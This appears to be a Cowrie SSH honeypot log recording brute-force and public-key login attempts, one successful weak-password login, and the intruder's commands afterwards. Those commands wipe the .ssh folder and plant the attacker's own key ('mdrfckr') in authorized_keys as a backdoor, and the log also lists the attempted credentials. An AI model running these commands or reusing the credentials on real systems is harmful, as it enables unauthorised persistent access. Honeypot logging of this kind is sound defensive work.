{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:58.309231Z","src_ip":"199.192.25.149","session":"cfa19082b0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iota123","password":"iota123","message":"login attempt [iota123/iota123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:58.510128Z","src_ip":"199.192.25.149","session":"cfa19082b0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:35:59.578553Z","src_ip":"199.192.25.149","session":"cfa19082b0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":52052,"dst_ip":"10.17.0.5","dst_port":22,"session":"620f1787487b","protocol":"ssh","message":"New connection: 51.75.149.221:52052 (10.17.0.5:22) [session: 620f1787487b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.113017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.116440Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ead7abe7aeb","protocol":"ssh","message":"New connection: 159.65.58.200:56160 (159.203.135.109:22) [session: 9ead7abe7aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.199963Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.212937Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.410224Z","src_ip":"159.65.58.200","session":"9ead7abe7aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.412837Z","src_ip":"159.65.58.200","session":"9ead7abe7aeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:29:59:15:54:e6:04:91:f7:e9:16:e5:a4:15:63:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZWEe4HXtH/4wNNBrb+fY8fXxNZsdHysS1MN6MRlJzV1lRDyXaaC/5CVkqWZ/MMFILDHKsEm9CfUYcViJRuxJA3LmrmcUuRnP3zAM5Y57dFnFf5Ax1rgWjjzzaFvPBM2fi4D4bIKRbXsyROrO4bwTNmN0zptKRLZc+q+kfTRt61GMw/GZpaRA+10KNgZWpGtYGEvLM6rhf5TLUxx+i/iwrpBlZlhphNPuZUB8oM4lRTY9gtQNh7NGuSRGnI0X1Cop3TaRiamA3+8baHrRSmeCyHeDzBd1WCG8LEbQ5FoEvABhpzVt2JwVeG6PmJQSJl7/S7c/JBQxwlUnEgus/BPvL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:29:59:15:54:e6:04:91:f7:e9:16:e5:a4:15:63:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.650337Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:29:59:15:54:e6:04:91:f7:e9:16:e5:a4:15:63:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZWEe4HXtH/4wNNBrb+fY8fXxNZsdHysS1MN6MRlJzV1lRDyXaaC/5CVkqWZ/MMFILDHKsEm9CfUYcViJRuxJA3LmrmcUuRnP3zAM5Y57dFnFf5Ax1rgWjjzzaFvPBM2fi4D4bIKRbXsyROrO4bwTNmN0zptKRLZc+q+kfTRt61GMw/GZpaRA+10KNgZWpGtYGEvLM6rhf5TLUxx+i/iwrpBlZlhphNPuZUB8oM4lRTY9gtQNh7NGuSRGnI0X1Cop3TaRiamA3+8baHrRSmeCyHeDzBd1WCG8LEbQ5FoEvABhpzVt2JwVeG6PmJQSJl7/S7c/JBQxwlUnEgus/BPvL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.653282Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:7c:0a:d9:0a:de:63:44:14:36:fb:fb:b2:33:fd:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7ZVxF21fsxUw+RnVRphRh0+GTQHOu51CyQRkffVcBoLA6kz3qv0bK+ZiWGwP4xjSKLYllS+0c6Y0AGqsDlaMxRY2K5NrEYRIoL+wi/XFLuIo2aWPLzhbyICEd67HjiwcOv4SKceLNy9QYjgP5VEm+mpcjw4euN7euIX63rfuPFHC87gKePyjwoEUBQlvzRnzqBM0gCnVID4vRARGNVuOxqtuIlYVpx3txCeA/H4dv4GZLQ5fOFejkUsr5y6sBhE54h/R6Od4Om+TTOw+a1AuwxGG2LFabCnA3iqv0LSm/49Tv3cTXD/KAPsApgbj5Xq3QqCXDWGq1OlSjAO/Y63g3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:7c:0a:d9:0a:de:63:44:14:36:fb:fb:b2:33:fd:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.746861Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:7c:0a:d9:0a:de:63:44:14:36:fb:fb:b2:33:fd:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7ZVxF21fsxUw+RnVRphRh0+GTQHOu51CyQRkffVcBoLA6kz3qv0bK+ZiWGwP4xjSKLYllS+0c6Y0AGqsDlaMxRY2K5NrEYRIoL+wi/XFLuIo2aWPLzhbyICEd67HjiwcOv4SKceLNy9QYjgP5VEm+mpcjw4euN7euIX63rfuPFHC87gKePyjwoEUBQlvzRnzqBM0gCnVID4vRARGNVuOxqtuIlYVpx3txCeA/H4dv4GZLQ5fOFejkUsr5y6sBhE54h/R6Od4Om+TTOw+a1AuwxGG2LFabCnA3iqv0LSm/49Tv3cTXD/KAPsApgbj5Xq3QqCXDWGq1OlSjAO/Y63g3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.749653Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:42:69:4a:8f:a9:4a:7c:a1:e0:61:c9:e4:6b:61:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRKiYK4C1hPlhUf1h0/h3QUEFBWkrL25nL5+vNOiBOSM1/cMAYjTyc4h7l61ztNa8UETRGwgD5XQ3t7zjgqKCsaIjEZpI+xPprxxeZWw3NbaPtmRuhyJmJF7dR98IBLndyafA4aQdhmkAJXL4UoiLgPEndXLPgxVjUG0ojjnju1K0Cpk2FblwxfdLPTZ1Q0xJ+dJO/sExEF6Gw9UGvFd23pmAsZ4YDhFjHghqOojpt0rvGh4CCCcXts8Ov692zx5KZkeR5DUm3oo58Z+AoYlHGzKUUEpARuOVu9PRCqIVq1q6c6QTYZce6tm1lNxuqLP+7T/r7p7AyMW7djRlwsnRx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:42:69:4a:8f:a9:4a:7c:a1:e0:61:c9:e4:6b:61:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.841218Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:42:69:4a:8f:a9:4a:7c:a1:e0:61:c9:e4:6b:61:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRKiYK4C1hPlhUf1h0/h3QUEFBWkrL25nL5+vNOiBOSM1/cMAYjTyc4h7l61ztNa8UETRGwgD5XQ3t7zjgqKCsaIjEZpI+xPprxxeZWw3NbaPtmRuhyJmJF7dR98IBLndyafA4aQdhmkAJXL4UoiLgPEndXLPgxVjUG0ojjnju1K0Cpk2FblwxfdLPTZ1Q0xJ+dJO/sExEF6Gw9UGvFd23pmAsZ4YDhFjHghqOojpt0rvGh4CCCcXts8Ov692zx5KZkeR5DUm3oo58Z+AoYlHGzKUUEpARuOVu9PRCqIVq1q6c6QTYZce6tm1lNxuqLP+7T/r7p7AyMW7djRlwsnRx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.843837Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:e2:49:5f:4e:b6:15:7b:89:bc:62:1e:28:2a:8a:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOae/BrkOK5v3AcUOkkvnHi1XWM+/IUU3IUY+FG76Zb5hkK106x3XddmCrtGcnA7DxdvQMi17mXu/s3b9uQNgOKnDxFuX93/KQ3Adaq1ACsH0Xfmit3zcY2ZOnX5JFJsAzabTPNBjFvsVPycY4/pdf8hL6eoE8M6VzEvDyYVh5KsGhjLN2J6/XA7sn4IEDDyCMM/yxASYJl0I4J8dBKPyRlueYwlavpvEKJlBSxVDsybDH95s4ZAE4rLE+ywP9jep/TcfBMFE+Nq3AF6Hf/kjz68UC1NdZXvxVatrNEm7Znts85y7FdQXmTj0Zbrdtpfb2aqc7OpEZsz1w3nqfa4+R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:e2:49:5f:4e:b6:15:7b:89:bc:62:1e:28:2a:8a:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.937830Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:e2:49:5f:4e:b6:15:7b:89:bc:62:1e:28:2a:8a:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOae/BrkOK5v3AcUOkkvnHi1XWM+/IUU3IUY+FG76Zb5hkK106x3XddmCrtGcnA7DxdvQMi17mXu/s3b9uQNgOKnDxFuX93/KQ3Adaq1ACsH0Xfmit3zcY2ZOnX5JFJsAzabTPNBjFvsVPycY4/pdf8hL6eoE8M6VzEvDyYVh5KsGhjLN2J6/XA7sn4IEDDyCMM/yxASYJl0I4J8dBKPyRlueYwlavpvEKJlBSxVDsybDH95s4ZAE4rLE+ywP9jep/TcfBMFE+Nq3AF6Hf/kjz68UC1NdZXvxVatrNEm7Znts85y7FdQXmTj0Zbrdtpfb2aqc7OpEZsz1w3nqfa4+R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:06.940344Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:68:8b:6c:fe:04:65:ae:b4:f0:4e:f4:4c:b6:98:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmVJg+GroByIjD2T4Q5XgDJ/1fx7YcbCuc2U2kQgNuf38dlCT7pXydMycZbuf4W+HiztqkyTGS37xhpHBEXULql7mnL5G1IPuMJlslfSQDiSikNvreQGtPPjvDkI/gci/z/R2qLnp0Oh9Aoj1y8J87wAQ5+LBRQzdifHjNZVrPJWczcdtg3Giqz9C+jf/wAwuLiBin06hFrU4lR2eeTQQJgnuE4aje2OVHuM9ZXfvOi8KlX6aKhyzBjhx8mxF5i8maU8AB4TCKwi6E6JmUcCxVObaa0/xQ0OhM/6BTSrG8+BZ7XGFtDZ4Ic8fCtZbU9tCtaAQWOTCFl2Cl5kDyUgv/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:68:8b:6c:fe:04:65:ae:b4:f0:4e:f4:4c:b6:98:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:07.032960Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:68:8b:6c:fe:04:65:ae:b4:f0:4e:f4:4c:b6:98:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmVJg+GroByIjD2T4Q5XgDJ/1fx7YcbCuc2U2kQgNuf38dlCT7pXydMycZbuf4W+HiztqkyTGS37xhpHBEXULql7mnL5G1IPuMJlslfSQDiSikNvreQGtPPjvDkI/gci/z/R2qLnp0Oh9Aoj1y8J87wAQ5+LBRQzdifHjNZVrPJWczcdtg3Giqz9C+jf/wAwuLiBin06hFrU4lR2eeTQQJgnuE4aje2OVHuM9ZXfvOi8KlX6aKhyzBjhx8mxF5i8maU8AB4TCKwi6E6JmUcCxVObaa0/xQ0OhM/6BTSrG8+BZ7XGFtDZ4Ic8fCtZbU9tCtaAQWOTCFl2Cl5kDyUgv/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:07.035601Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:07.127754Z","src_ip":"51.75.149.221","session":"620f1787487b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"senyukov","password":"123456","message":"login attempt [senyukov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:07.530266Z","src_ip":"159.65.58.200","session":"9ead7abe7aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:08.728944Z","src_ip":"159.65.58.200","session":"9ead7abe7aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":33750,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ed7d00a0d0","protocol":"ssh","message":"New connection: 209.99.190.200:33750 (10.17.0.5:22) [session: 24ed7d00a0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:09.651414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:09.657829Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:09.754415Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam1234","message":"login attempt [steam/steam1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.176467Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.396544Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.398968Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.401880Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.634843Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.774827Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:36:10.777608Z","src_ip":"209.99.190.200","session":"24ed7d00a0d0","protocol":"ssh"}
